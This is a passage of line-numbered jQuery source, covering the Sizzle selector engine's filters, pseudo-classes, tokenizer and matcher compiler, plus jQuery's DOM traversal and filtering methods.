986 " ": {
987 dir: "parentNode"
988 },
989 "+": {
990 dir: "previousSibling",
991 first: true
992 },
993 "~": {
994 dir: "previousSibling"
995 }
996 },
997 preFilter: {
998 "ATTR": function(match) {
999 match[1] = match[1].replace(runescape, funescape);
1000 match[3] = (match[3] || match[4] || match[5] || "").replace(runescape, funescape);
1001 if (match[2] === "~=") {
1002 match[3] = " " + match[3] + " "
1003 }
1004 return match.slice(0, 4)
1005 },
1006 "CHILD": function(match) {
1007 match[1] = match[1].toLowerCase();
1008 if (match[1].slice(0, 3) === "nth") {
1009 if (!match[3]) {
1010 Sizzle.error(match[0])
1011 }
1012 match[4] = +(match[4] ? match[5] + (match[6] || 1) : 2 * (match[3] === "even" || match[3] === "odd"));
1013 match[5] = +((match[7] + match[8]) || match[3] === "odd")
1014 } else if (match[3]) {
1015 Sizzle.error(match[0])
1016 }
1017 return match
1018 },
1019 "PSEUDO": function(match) {
1020 var excess, unquoted = !match[6] && match[2];
1021 if (matchExpr["CHILD"].test(match[0])) {
1022 return null
1023 }
1024 if (match[3]) {
1025 match[2] = match[4] || match[5] || ""
1026 } else if (unquoted && rpseudo.test(unquoted) && (excess = tokenize(unquoted, true)) && (excess = unquoted.indexOf(")", unquoted.length - excess) - unquoted.length)) {
1027 match[0] = match[0].slice(0, excess);
1028 match[2] = unquoted.slice(0, excess)
1029 }
1030 return match.slice(0, 3)
1031 }
1032 },
1033 filter: {
1034 "TAG": function(nodeNameSelector) {
1035 var nodeName = nodeNameSelector.replace(runescape, funescape).toLowerCase();
1036 return nodeNameSelector === "*" ? function() {
1037 return true
1038 } : function(elem) {
1039 return elem.nodeName && elem.nodeName.toLowerCase() === nodeName
1040 }
1041 },
1042 "CLASS": function(className) {
1043 var pattern = classCache[className + " "];
1044 return pattern || (pattern = new RegExp("(^|" + whitespace + ")" + className + "(" + whitespace + "|$)")) && classCache(className, function(elem) {
1045 return pattern.test(typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== "undefined" && elem.getAttribute("class") || "")
1046 })
1047 },
1048 "ATTR": function(name, operator, check) {
1049 return function(elem) {
1050 var result = Sizzle.attr(elem, name);
1051 if (result == null) {
1052 return operator === "!="
1053 }
1054 if (!operator) {
1055 return true
1056 }
1057 result += "";
1058 return operator === "=" ? result === check : operator === "!=" ? result !== check : operator === "^=" ? check && result.indexOf(check) === 0 : operator === "*=" ? check && result.indexOf(check) > -1 : operator === "$=" ? check && result.slice(-check.length) === check : operator === "~=" ? (" " + result.replace(rwhitespace, " ") + " ").indexOf(check) > -1 : operator === "|=" ? result === check || result.slice(0, check.length + 1) === check + "-" : false
1059 }
1060 },
1061 "CHILD": function(type, what, argument, first, last) {
1062 var simple = type.slice(0, 3) !== "nth",
1063 forward = type.slice(-4) !== "last",
1064 ofType = what === "of-type";
1065 return first === 1 && last === 0 ? function(elem) {
1066 return !!elem.parentNode
1067 } : function(elem, context, xml) {
1068 var cache, outerCache, node, diff, nodeIndex, start, dir = simple !== forward ? "nextSibling" : "previousSibling",
1069 parent = elem.parentNode,
1070 name = ofType && elem.nodeName.toLowerCase(),
1071 useCache = !xml && !ofType;
1072 if (parent) {
1073 if (simple) {
1074 while (dir) {
1075 node = elem;
1076 while ((node = node[dir])) {
1077 if (ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1) {
1078 return false
1079 }
1080 }
1081 start = dir = type === "only" && !start && "nextSibling"
1082 }
1083 return true
1084 }
1085 start = [forward ? parent.firstChild : parent.lastChild];
1086 if (forward && useCache) {
1087 outerCache = parent[expando] || (parent[expando] = {});
1088 cache = outerCache[type] || [];
1089 nodeIndex = cache[0] === dirruns && cache[1];
1090 diff = cache[0] === dirruns && cache[2];
1091 node = nodeIndex && parent.childNodes[nodeIndex];
1092 while ((node = ++nodeIndex && node && node[dir] || (diff = nodeIndex = 0) || start.pop())) {
1093 if (node.nodeType === 1 && ++diff && node === elem) {
1094 outerCache[type] = [dirruns, nodeIndex, diff];
1095 break
1096 }
1097 }
1098 } else if (useCache && (cache = (elem[expando] || (elem[expando] = {}))[type]) && cache[0] === dirruns) {
1099 diff = cache[1]
1100 } else {
1101 while ((node = ++nodeIndex && node && node[dir] || (diff = nodeIndex = 0) || start.pop())) {
1102 if ((ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1) && ++diff) {
1103 if (useCache) {
1104 (node[expando] || (node[expando] = {}))[type] = [dirruns, diff]
1105 }
1106 if (node === elem) {
1107 break
1108 }
1109 }
1110 }
1111 }
1112 diff -= last;
1113 return diff === first || (diff % first === 0 && diff / first >= 0)
1114 }
1115 }
1116 },
1117 "PSEUDO": function(pseudo, argument) {
1118 var args, fn = Expr.pseudos[pseudo] || Expr.setFilters[pseudo.toLowerCase()] || Sizzle.error("unsupported pseudo: " + pseudo);
1119 if (fn[expando]) {
1120 return fn(argument)
1121 }
1122 if (fn.length > 1) {
1123 args = [pseudo, pseudo, "", argument];
1124 return Expr.setFilters.hasOwnProperty(pseudo.toLowerCase()) ? markFunction(function(seed, matches) {
1125 var idx, matched = fn(seed, argument),
1126 i = matched.length;
1127 while (i--) {
1128 idx = indexOf(seed, matched[i]);
1129 seed[idx] = !(matches[idx] = matched[i])
1130 }
1131 }) : function(elem) {
1132 return fn(elem, 0, args)
1133 }
1134 }
1135 return fn
1136 }
1137 },
1138 pseudos: {
1139 "not": markFunction(function(selector) {
1140 var input = [],
1141 results = [],
1142 matcher = compile(selector.replace(rtrim, "$1"));
1143 return matcher[expando] ? markFunction(function(seed, matches, context, xml) {
1144 var elem, unmatched = matcher(seed, null, xml, []),
1145 i = seed.length;
1146 while (i--) {
1147 if ((elem = unmatched[i])) {
1148 seed[i] = !(matches[i] = elem)
1149 }
1150 }
1151 }) : function(elem, context, xml) {
1152 input[0] = elem;
1153 matcher(input, null, xml, results);
1154 input[0] = null;
1155 return !results.pop()
1156 }
1157 }),
1158 "has": markFunction(function(selector) {
1159 return function(elem) {
1160 return Sizzle(selector, elem).length > 0
1161 }
1162 }),
1163 "contains": markFunction(function(text) {
1164 text = text.replace(runescape, funescape);
1165 return function(elem) {
1166 return (elem.textContent || elem.innerText || getText(elem)).indexOf(text) > -1
1167 }
1168 }),
1169 "lang": markFunction(function(lang) {
1170 if (!ridentifier.test(lang || "")) {
1171 Sizzle.error("unsupported lang: " + lang)
1172 }
1173 lang = lang.replace(runescape, funescape).toLowerCase();
1174 return function(elem) {
1175 var elemLang;
1176 do {
1177 if ((elemLang = documentIsHTML ? elem.lang : elem.getAttribute("xml:lang") || elem.getAttribute("lang"))) {
1178 elemLang = elemLang.toLowerCase();
1179 return elemLang === lang || elemLang.indexOf(lang + "-") === 0
1180 }
1181 } while ((elem = elem.parentNode) && elem.nodeType === 1);
1182 return false
1183 }
1184 }),
1185 "target": function(elem) {
1186 var hash = window.location && window.location.hash;
1187 return hash && hash.slice(1) === elem.id
1188 },
1189 "root": function(elem) {
1190 return elem === docElem
1191 },
1192 "focus": function(elem) {
1193 return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex)
1194 },
1195 "enabled": function(elem) {
1196 return elem.disabled === false
1197 },
1198 "disabled": function(elem) {
1199 return elem.disabled === true
1200 },
1201 "checked": function(elem) {
1202 var nodeName = elem.nodeName.toLowerCase();
1203 return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected)
1204 },
1205 "selected": function(elem) {
1206 if (elem.parentNode) {
1207 elem.parentNode.selectedIndex
1208 }
1209 return elem.selected === true
1210 },
1211 "empty": function(elem) {
1212 for (elem = elem.firstChild; elem; elem = elem.nextSibling) {
1213 if (elem.nodeType < 6) {
1214 return false
1215 }
1216 }
1217 return true
1218 },
1219 "parent": function(elem) {
1220 return !Expr.pseudos["empty"](elem)
1221 },
1222 "header": function(elem) {
1223 return rheader.test(elem.nodeName)
1224 },
1225 "input": function(elem) {
1226 return rinputs.test(elem.nodeName)
1227 },
1228 "button": function(elem) {
1229 var name = elem.nodeName.toLowerCase();
1230 return name === "input" && elem.type === "button" || name === "button"
1231 },
1232 "text": function(elem) {
1233 var attr;
1234 return elem.nodeName.toLowerCase() === "input" && elem.type === "text" && ((attr = elem.getAttribute("type")) == null || attr.toLowerCase() === "text")
1235 },
1236 "first": createPositionalPseudo(function() {
1237 return [0]
1238 }),
1239 "last": createPositionalPseudo(function(matchIndexes, length) {
1240 return [length - 1]
1241 }),
1242 "eq": createPositionalPseudo(function(matchIndexes, length, argument) {
1243 return [argument < 0 ? argument + length : argument]
1244 }),
1245 "even": createPositionalPseudo(function(matchIndexes, length) {
1246 var i = 0;
1247 for (; i < length; i += 2) {
1248 matchIndexes.push(i)
1249 }
1250 return matchIndexes
1251 }),
1252 "odd": createPositionalPseudo(function(matchIndexes, length) {
1253 var i = 1;
1254 for (; i < length; i += 2) {
1255 matchIndexes.push(i)
1256 }
1257 return matchIndexes
1258 }),
1259 "lt": createPositionalPseudo(function(matchIndexes, length, argument) {
1260 var i = argument < 0 ? argument + length : argument;
1261 for (; --i >= 0;) {
1262 matchIndexes.push(i)
1263 }
1264 return matchIndexes
1265 }),
1266 "gt": createPositionalPseudo(function(matchIndexes, length, argument) {
1267 var i = argument < 0 ? argument + length : argument;
1268 for (; ++i < length;) {
1269 matchIndexes.push(i)
1270 }
1271 return matchIndexes
1272 })
1273 }
1274 };
1275 Expr.pseudos["nth"] = Expr.pseudos["eq"];
1276 for (i in {
1277 radio: true,
1278 checkbox: true,
1279 file: true,
1280 password: true,
1281 image: true
1282 }) {
1283 Expr.pseudos[i] = createInputPseudo(i)
1284 }
1285 for (i in {
1286 submit: true,
1287 reset: true
1288 }) {
1289 Expr.pseudos[i] = createButtonPseudo(i)
1290 }
1291
1292 function setFilters() {}
1293 setFilters.prototype = Expr.filters = Expr.pseudos;
1294 Expr.setFilters = new setFilters();
1295 tokenize = Sizzle.tokenize = function(selector, parseOnly) {
1296 var matched, match, tokens, type, soFar, groups, preFilters, cached = tokenCache[selector + " "];
1297 if (cached) {
1298 return parseOnly ? 0 : cached.slice(0)
1299 }
1300 soFar = selector;
1301 groups = [];
1302 preFilters = Expr.preFilter;
1303 while (soFar) {
1304 if (!matched || (match = rcomma.exec(soFar))) {
1305 if (match) {
1306 soFar = soFar.slice(match[0].length) || soFar
1307 }
1308 groups.push((tokens = []))
1309 }
1310 matched = false;
1311 if ((match = rcombinators.exec(soFar))) {
1312 matched = match.shift();
1313 tokens.push({
1314 value: matched,
1315 type: match[0].replace(rtrim, " ")
1316 });
1317 soFar = soFar.slice(matched.length)
1318 }
1319 for (type in Expr.filter) {
1320 if ((match = matchExpr[type].exec(soFar)) && (!preFilters[type] || (match = preFilters[type](match)))) {
1321 matched = match.shift();
1322 tokens.push({
1323 value: matched,
1324 type: type,
1325 matches: match
1326 });
1327 soFar = soFar.slice(matched.length)
1328 }
1329 }
1330 if (!matched) {
1331 break
1332 }
1333 }
1334 return parseOnly ? soFar.length : soFar ? Sizzle.error(selector) : tokenCache(selector, groups).slice(0)
1335 };
1336
1337 function toSelector(tokens) {
1338 var i = 0,
1339 len = tokens.length,
1340 selector = "";
1341 for (; i < len; i++) {
1342 selector += tokens[i].value
1343 }
1344 return selector
1345 }
1346
1347 function addCombinator(matcher, combinator, base) {
1348 var dir = combinator.dir,
1349 checkNonElements = base && dir === "parentNode",
1350 doneName = done++;
1351 return combinator.first ? function(elem, context, xml) {
1352 while ((elem = elem[dir])) {
1353 if (elem.nodeType === 1 || checkNonElements) {
1354 return matcher(elem, context, xml)
1355 }
1356 }
1357 } : function(elem, context, xml) {
1358 var oldCache, outerCache, newCache = [dirruns, doneName];
1359 if (xml) {
1360 while ((elem = elem[dir])) {
1361 if (elem.nodeType === 1 || checkNonElements) {
1362 if (matcher(elem, context, xml)) {
1363 return true
1364 }
1365 }
1366 }
1367 } else {
1368 while ((elem = elem[dir])) {
1369 if (elem.nodeType === 1 || checkNonElements) {
1370 outerCache = elem[expando] || (elem[expando] = {});
1371 if ((oldCache = outerCache[dir]) && oldCache[0] === dirruns && oldCache[1] === doneName) {
1372 return (newCache[2] = oldCache[2])
1373 } else {
1374 outerCache[dir] = newCache;
1375 if ((newCache[2] = matcher(elem, context, xml))) {
1376 return true
1377 }
1378 }
1379 }
1380 }
1381 }
1382 }
1383 }
1384
1385 function elementMatcher(matchers) {
1386 return matchers.length > 1 ? function(elem, context, xml) {
1387 var i = matchers.length;
1388 while (i--) {
1389 if (!matchers[i](elem, context, xml)) {
1390 return false
1391 }
1392 }
1393 return true
1394 } : matchers[0]
1395 }
1396
1397 function multipleContexts(selector, contexts, results) {
1398 var i = 0,
1399 len = contexts.length;
1400 for (; i < len; i++) {
1401 Sizzle(selector, contexts[i], results)
1402 }
1403 return results
1404 }
1405
1406 function condense(unmatched, map, filter, context, xml) {
1407 var elem, newUnmatched = [],
1408 i = 0,
1409 len = unmatched.length,
1410 mapped = map != null;
1411 for (; i < len; i++) {
1412 if ((elem = unmatched[i])) {
1413 if (!filter || filter(elem, context, xml)) {
1414 newUnmatched.push(elem);
1415 if (mapped) {
1416 map.push(i)
1417 }
1418 }
1419 }
1420 }
1421 return newUnmatched
1422 }
1423
1424 function setMatcher(preFilter, selector, matcher, postFilter, postFinder, postSelector) {
1425 if (postFilter && !postFilter[expando]) {
1426 postFilter = setMatcher(postFilter)
1427 }
1428 if (postFinder && !postFinder[expando]) {
1429 postFinder = setMatcher(postFinder, postSelector)
1430 }
1431 return markFunction(function(seed, results, context, xml) {
1432 var temp, i, elem, preMap = [],
1433 postMap = [],
1434 preexisting = results.length,
1435 elems = seed || multipleContexts(selector || "*", context.nodeType ? [context] : context, []),
1436 matcherIn = preFilter && (seed || !selector) ? condense(elems, preMap, preFilter, context, xml) : elems,
1437 matcherOut = matcher ? postFinder || (seed ? preFilter : preexisting || postFilter) ? [] : results : matcherIn;
1438 if (matcher) {
1439 matcher(matcherIn, matcherOut, context, xml)
1440 }
1441 if (postFilter) {
1442 temp = condense(matcherOut, postMap);
1443 postFilter(temp, [], context, xml);
1444 i = temp.length;
1445 while (i--) {
1446 if ((elem = temp[i])) {
1447 matcherOut[postMap[i]] = !(matcherIn[postMap[i]] = elem)
1448 }
1449 }
1450 }
1451 if (seed) {
1452 if (postFinder || preFilter) {
1453 if (postFinder) {
1454 temp = [];
1455 i = matcherOut.length;
1456 while (i--) {
1457 if ((elem = matcherOut[i])) {
1458 temp.push((matcherIn[i] = elem))
1459 }
1460 }
1461 postFinder(null, (matcherOut = []), temp, xml)
1462 }
1463 i = matcherOut.length;
1464 while (i--) {
1465 if ((elem = matcherOut[i]) && (temp = postFinder ? indexOf(seed, elem) : preMap[i]) > -1) {
1466 seed[temp] = !(results[temp] = elem)
1467 }
1468 }
1469 }
1470 } else {
1471 matcherOut = condense(matcherOut === results ? matcherOut.splice(preexisting, matcherOut.length) : matcherOut);
1472 if (postFinder) {
1473 postFinder(null, results, matcherOut, xml)
1474 } else {
1475 push.apply(results, matcherOut)
1476 }
1477 }
1478 })
1479 }
1480
1481 function matcherFromTokens(tokens) {
1482 var checkContext, matcher, j, len = tokens.length,
1483 leadingRelative = Expr.relative[tokens[0].type],
1484 implicitRelative = leadingRelative || Expr.relative[" "],
1485 i = leadingRelative ? 1 : 0,
1486 matchContext = addCombinator(function(elem) {
1487 return elem === checkContext
1488 }, implicitRelative, true),
1489 matchAnyContext = addCombinator(function(elem) {
1490 return indexOf(checkContext, elem) > -1
1491 }, implicitRelative, true),
1492 matchers = [function(elem, context, xml) {
1493 var ret = (!leadingRelative && (xml || context !== outermostContext)) || ((checkContext = context).nodeType ? matchContext(elem, context, xml) : matchAnyContext(elem, context, xml));
1494 checkContext = null;
1495 return ret
1496 }];
1497 for (; i < len; i++) {
1498 if ((matcher = Expr.relative[tokens[i].type])) {
1499 matchers = [addCombinator(elementMatcher(matchers), matcher)]
1500 } else {
1501 matcher = Expr.filter[tokens[i].type].apply(null, tokens[i].matches);
1502 if (matcher[expando]) {
1503 j = ++i;
1504 for (; j < len; j++) {
1505 if (Expr.relative[tokens[j].type]) {
1506 break
1507 }
1508 }
1509 return setMatcher(i > 1 && elementMatcher(matchers), i > 1 && toSelector(tokens.slice(0, i - 1).concat({
1510 value: tokens[i - 2].type === " " ? "*" : ""
1511 })).replace(rtrim, "$1"), matcher, i < j && matcherFromTokens(tokens.slice(i, j)), j < len && matcherFromTokens((tokens = tokens.slice(j))), j < len && toSelector(tokens))
1512 }
1513 matchers.push(matcher)
1514 }
1515 }
1516 return elementMatcher(matchers)
1517 }
1518
1519 function matcherFromGroupMatchers(elementMatchers, setMatchers) {
1520 var bySet = setMatchers.length > 0,
1521 byElement = elementMatchers.length > 0,
1522 superMatcher = function(seed, context, xml, results, outermost) {
1523 var elem, j, matcher, matchedCount = 0,
1524 i = "0",
1525 unmatched = seed && [],
1526 setMatched = [],
1527 contextBackup = outermostContext,
1528 elems = seed || byElement && Expr.find["TAG"]("*", outermost),
1529 dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),
1530 len = elems.length;
1531 if (outermost) {
1532 outermostContext = context !== document && context
1533 }
1534 for (; i !== len && (elem = elems[i]) != null; i++) {
1535 if (byElement && elem) {
1536 j = 0;
1537 while ((matcher = elementMatchers[j++])) {
1538 if (matcher(elem, context, xml)) {
1539 results.push(elem);
1540 break
1541 }
1542 }
1543 if (outermost) {
1544 dirruns = dirrunsUnique
1545 }
1546 }
1547 if (bySet) {
1548 if ((elem = !matcher && elem)) {
1549 matchedCount--
1550 }
1551 if (seed) {
1552 unmatched.push(elem)
1553 }
1554 }
1555 }
1556 matchedCount += i;
1557 if (bySet && i !== matchedCount) {
1558 j = 0;
1559 while ((matcher = setMatchers[j++])) {
1560 matcher(unmatched, setMatched, context, xml)
1561 }
1562 if (seed) {
1563 if (matchedCount > 0) {
1564 while (i--) {
1565 if (!(unmatched[i] || setMatched[i])) {
1566 setMatched[i] = pop.call(results)
1567 }
1568 }
1569 }
1570 setMatched = condense(setMatched)
1571 }
1572 push.apply(results, setMatched);
1573 if (outermost && !seed && setMatched.length > 0 && (matchedCount + setMatchers.length) > 1) {
1574 Sizzle.uniqueSort(results)
1575 }
1576 }
1577 if (outermost) {
1578 dirruns = dirrunsUnique;
1579 outermostContext = contextBackup
1580 }
1581 return unmatched
1582 };
1583 return bySet ? markFunction(superMatcher) : superMatcher
1584 }
1585 compile = Sizzle.compile = function(selector, match) {
1586 var i, setMatchers = [],
1587 elementMatchers = [],
1588 cached = compilerCache[selector + " "];
1589 if (!cached) {
1590 if (!match) {
1591 match = tokenize(selector)
1592 }
1593 i = match.length;
1594 while (i--) {
1595 cached = matcherFromTokens(match[i]);
1596 if (cached[expando]) {
1597 setMatchers.push(cached)
1598 } else {
1599 elementMatchers.push(cached)
1600 }
1601 }
1602 cached = compilerCache(selector, matcherFromGroupMatchers(elementMatchers, setMatchers));
1603 cached.selector = selector
1604 }
1605 return cached
1606 };
1607 select = Sizzle.select = function(selector, context, results, seed) {
1608 var i, tokens, token, type, find, compiled = typeof selector === "function" && selector,
1609 match = !seed && tokenize((selector = compiled.selector || selector));
1610 results = results || [];
1611 if (match.length === 1) {
1612 tokens = match[0] = match[0].slice(0);
1613 if (tokens.length > 2 && (token = tokens[0]).type === "ID" && support.getById && context.nodeType === 9 && documentIsHTML && Expr.relative[tokens[1].type]) {
1614 context = (Expr.find["ID"](token.matches[0].replace(runescape, funescape), context) || [])[0];
1615 if (!context) {
1616 return results
1617 } else if (compiled) {
1618 context = context.parentNode
1619 }
1620 selector = selector.slice(tokens.shift().value.length)
1621 }
1622 i = matchExpr["needsContext"].test(selector) ? 0 : tokens.length;
1623 while (i--) {
1624 token = tokens[i];
1625 if (Expr.relative[(type = token.type)]) {
1626 break
1627 }
1628 if ((find = Expr.find[type])) {
1629 if ((seed = find(token.matches[0].replace(runescape, funescape), rsibling.test(tokens[0].type) && testContext(context.parentNode) || context))) {
1630 tokens.splice(i, 1);
1631 selector = seed.length && toSelector(tokens);
1632 if (!selector) {
1633 push.apply(results, seed);
1634 return results
1635 }
1636 break
1637 }
1638 }
1639 }
1640 }(compiled || compile(selector, match))(seed, context, !documentIsHTML, results, rsibling.test(selector) && testContext(context.parentNode) || context);
1641 return results
1642 };
1643 support.sortStable = expando.split("").sort(sortOrder).join("") === expando;
1644 support.detectDuplicates = !!hasDuplicate;
1645 setDocument();
1646 support.sortDetached = assert(function(div1) {
1647 return div1.compareDocumentPosition(document.createElement("div")) & 1
1648 });
1649 if (!assert(function(div) {
1650 div.innerHTML = "<a href='#'></a>";
1651 return div.firstChild.getAttribute("href") === "#"
1652 })) {
1653 addHandle("type|href|height|width", function(elem, name, isXML) {
1654 if (!isXML) {
1655 return elem.getAttribute(name, name.toLowerCase() === "type" ? 1 : 2)
1656 }
1657 })
1658 }
1659 if (!support.attributes || !assert(function(div) {
1660 div.innerHTML = "<input/>";
1661 div.firstChild.setAttribute("value", "");
1662 return div.firstChild.getAttribute("value") === ""
1663 })) {
1664 addHandle("value", function(elem, name, isXML) {
1665 if (!isXML && elem.nodeName.toLowerCase() === "input") {
1666 return elem.defaultValue
1667 }
1668 })
1669 }
1670 if (!assert(function(div) {
1671 return div.getAttribute("disabled") == null
1672 })) {
1673 addHandle(booleans, function(elem, name, isXML) {
1674 var val;
1675 if (!isXML) {
1676 return elem[name] === true ? name.toLowerCase() : (val = elem.getAttributeNode(name)) && val.specified ? val.value : null
1677 }
1678 })
1679 }
1680 return Sizzle
1681 })(window);
1682 jQuery.find = Sizzle;
1683 jQuery.expr = Sizzle.selectors;
1684 jQuery.expr[":"] = jQuery.expr.pseudos;
1685 jQuery.unique = Sizzle.uniqueSort;
1686 jQuery.text = Sizzle.getText;
1687 jQuery.isXMLDoc = Sizzle.isXML;
1688 jQuery.contains = Sizzle.contains;
1689 var rneedsContext = jQuery.expr.match.needsContext;
1690 var rsingleTag = (/^<(\w+)\s*\/?>(?:<\/\1>|)$/);
1691 var risSimple = /^.[^:#\[\.,]*$/;
1692
1693 function winnow(elements, qualifier, not) {
1694 if (jQuery.isFunction(qualifier)) {
1695 return jQuery.grep(elements, function(elem, i) {
1696 return !!qualifier.call(elem, i, elem) !== not
1697 })
1698 }
1699 if (qualifier.nodeType) {
1700 return jQuery.grep(elements, function(elem) {
1701 return (elem === qualifier) !== not
1702 })
1703 }
1704 if (typeof qualifier === "string") {
1705 if (risSimple.test(qualifier)) {
1706 return jQuery.filter(qualifier, elements, not)
1707 }
1708 qualifier = jQuery.filter(qualifier, elements)
1709 }
1710 return jQuery.grep(elements, function(elem) {
1711 return (jQuery.inArray(elem, qualifier) >= 0) !== not
1712 })
1713 }
1714 jQuery.filter = function(expr, elems, not) {
1715 var elem = elems[0];
1716 if (not) {
1717 expr = ":not(" + expr + ")"
1718 }
1719 return elems.length === 1 && elem.nodeType === 1 ? jQuery.find.matchesSelector(elem, expr) ? [elem] : [] : jQuery.find.matches(expr, jQuery.grep(elems, function(elem) {
1720 return elem.nodeType === 1
1721 }))
1722 };
1723 jQuery.fn.extend({
1724 find: function(selector) {
1725 var i, ret = [],
1726 self = this,
1727 len = self.length;
1728 if (typeof selector !== "string") {
1729 return this.pushStack(jQuery(selector).filter(function() {
1730 for (i = 0; i < len; i++) {
1731 if (jQuery.contains(self[i], this)) {
1732 return true
1733 }
1734 }
1735 }))
1736 }
1737 for (i = 0; i < len; i++) {
1738 jQuery.find(selector, self[i], ret)
1739 }
1740 ret = this.pushStack(len > 1 ? jQuery.unique(ret) : ret);
1741 ret.selector = this.selector ? this.selector + " " + selector : selector;
1742 return ret
1743 },
1744 filter: function(selector) {
1745 return this.pushStack(winnow(this, selector || [], false))
1746 },
1747 not: function(selector) {
1748 return this.pushStack(winnow(this, selector || [], true))
1749 },
1750 is: function(selector) {
1751 return !!winnow(this, typeof selector === "string" && rneedsContext.test(selector) ? jQuery(selector) : selector || [], false).length
1752 }
1753 });
1754 var rootjQuery, document = window.document,
1755 rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,
1756 init = jQuery.fn.init = function(selector, context) {
1757 var match, elem;
1758 if (!selector) {
1759 return this
1760 }
1761 if (typeof selector === "string") {
1762 if (selector.charAt(0) === "<" && selector.charAt(selector.length - 1) === ">" && selector.length >= 3) {
1763 match = [null, selector, null]
1764 } else {
1765 match = rquickExpr.exec(selector)
1766 }
1767 if (match && (match[1] || !context)) {
1768 if (match[1]) {
1769 context = context instanceof jQuery ? context[0] : context;
1770 jQuery.merge(this, jQuery.parseHTML(match[1], context && context.nodeType ? context.ownerDocument || context : document, true));
1771 if (rsingleTag.test(match[1]) && jQuery.isPlainObject(context)) {
1772 for (match in context) {
1773 if (jQuery.isFunction(this[match])) {
1774 this[match](context[match])
1775 } else {
1776 this.attr(match, context[match])
1777 }
1778 }
1779 }
1780 return this
1781 } else {
1782 elem = document.getElementById(match[2]);
1783 if (elem && elem.parentNode) {
1784 if (elem.id !== match[2]) {
1785 return rootjQuery.find(selector)
1786 }
1787 this.length = 1;
1788 this[0] = elem
1789 }
1790 this.context = document;
1791 this.selector = selector;
1792 return this
1793 }
1794 } else if (!context || context.jquery) {
1795 return (context || rootjQuery).find(selector)
1796 } else {
1797 return this.constructor(context).find(selector)
1798 }
1799 } else if (selector.nodeType) {
1800 this.context = this[0] = selector;
1801 this.length = 1;
1802 return this
1803 } else if (jQuery.isFunction(selector)) {
1804 return typeof rootjQuery.ready !== "undefined" ? rootjQuery.ready(selector) : selector(jQuery)
1805 }
1806 if (selector.selector !== undefined) {
1807 this.selector = selector.selector;
1808 this.context = selector.context
1809 }
1810 return jQuery.makeArray(selector, this)
1811 };
1812 init.prototype = jQuery.fn;
1813 rootjQuery = jQuery(document);
1814 var rparentsprev = /^(?:parents|prev(?:Until|All))/,
1815 guaranteedUnique = {
1816 children: true,
1817 contents: true,
1818 next: true,
1819 prev: true
1820 };
1821 jQuery.extend({
1822 dir: function(elem, dir, until) {
1823 var matched = [],
1824 cur = elem[dir];
1825 while (cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery(cur).is(until))) {
1826 if (cur.nodeType === 1) {
1827 matched.push(cur)
1828 }
1829 cur = cur[dir]
1830 }
1831 return matched
1832 },
1833 sibling: function(n, elem) {
1834 var r = [];
1835 for (; n; n = n.nextSibling) {
1836 if (n.nodeType === 1 && n !== elem) {
1837 r.push(n)
1838 }
1839 }
1840 return r
1841 }
1842 });
1843 jQuery.fn.extend({
1844 has: function(target) {
1845 var i, targets = jQuery(target, this),
1846 len = targets.length;
1847 return this.filter(function() {
1848 for (i = 0; i < len; i++) {
1849 if (jQuery.contains(this, targets[i])) {
1850 return true
1851 }
1852 }
1853 })
1854 },
1855 closest: function(selectors, context) {
1856 var cur, i = 0,
1857 l = this.length,
1858 matched = [],
1859 pos = rneedsContext.test(selectors) || typeof selectors !== "string" ? jQuery(selectors, context || this.context) : 0;
1860 for (; i < l; i++) {
1861 for (cur = this[i]; cur && cur !== context; cur = cur.parentNode) {
1862 if (cur.nodeType < 11 && (pos ? pos.index(cur) > -1 : cur.nodeType === 1 && jQuery.find.matchesSelector(cur, selectors))) {
1863 matched.push(cur);
1864 break
1865 }
1866 }
1867 }
1868 return this.pushStack(matched.length > 1 ? jQuery.unique(matched) : matched)
1869 },
1870 index: function(elem) {
1871 if (!elem) {
1872 return (this[0] && this[0].parentNode) ? this.first().prevAll().length : -1
1873 }
1874 if (typeof elem === "string") {
1875 return jQuery.inArray(this[0], jQuery(elem))
1876 }
1877 return jQuery.inArray(elem.jquery ? elem[0] : elem, this)
1878 },
1879 add: function(selector, context) {
1880 return this.pushStack(jQuery.unique(jQuery.merge(this.get(), jQuery(selector, context))))
1881 },
1882 addBack: function(selector) {
1883 return this.add(selector == null ? this.prevObject : this.prevObject.filter(selector))
1884 }
1885 });
1886
1887 function sibling(cur, dir) {
1888 do {
1889 cur = cur[dir]
1890 } while (cur && cur.nodeType !== 1);
1891 return cur
1892 }
1893 jQuery.each({
1894 parent: function(elem) {
1895 var parent = elem.parentNode;
1896 return parent && parent.nodeType !== 11 ? parent : null
1897 },
1898 parents: function(elem) {
1899 return jQuery.dir(elem, "parentNode")
1900 },
1901 parentsUntil: function(elem, i, until) {
1902 return jQuery.dir(elem, "parentNode", until)
1903 },
1904 next: function(elem) {
1905 return sibling(elem, "nextSibling")
1906 },
1907 prev: function(elem) {
1908 return sibling(elem, "previousSibling")
1909 },
1910 nextAll: function(elem) {
1911 return jQuery.dir(elem, "nextSibling")
1912 },
1913 prevAll: function(elem) {
1914 return jQuery.dir(elem, "previousSibling")
1915 },
1916 nextUntil: function(elem, i, until) {
1917 return jQuery.dir(elem, "nextSibling", until)
1918 },
1919 prevUntil: function(elem, i, until) {
1920 return jQuery.dir(elem, "previousSibling", until)
1921 },
1922 siblings: function(elem) {
1923 return jQuery.sibling((elem.parentNode || {}).firstChild, elem)
1924 },
1925 children: function(elem) {
1926 return jQuery.sibling(elem.firstChild)
1927 },
1928 contents: function(elem) {
1929 return jQuery.nodeName(elem, "iframe") ? elem.contentDocument || elem.contentWindow.document : jQuery.merge([], elem.childNodes)
1930 }
1931 }, function(name, fn) {
1932 jQuery.fn[name] = function(until, selector) {
1933 var ret = jQuery.map(this, fn, until);
1934 if (name.slice(-5) !== "Until") {
1935 selector = until
1936 }
1937 if (selector && typeof selector === "string") {
1938 ret = jQuery.filter(selector, ret)
1939 }
1940 if (this.length > 1) {
1941 if (!guaranteedUnique[name]) {
1942 ret = jQuery.unique(ret)
1943 }
1944 if (rparentsprev.test(name)) {
1945 ret = ret.reverse()
1946 }
1947 }
1948 return this.pushStack(ret)
1949 }
1950 });
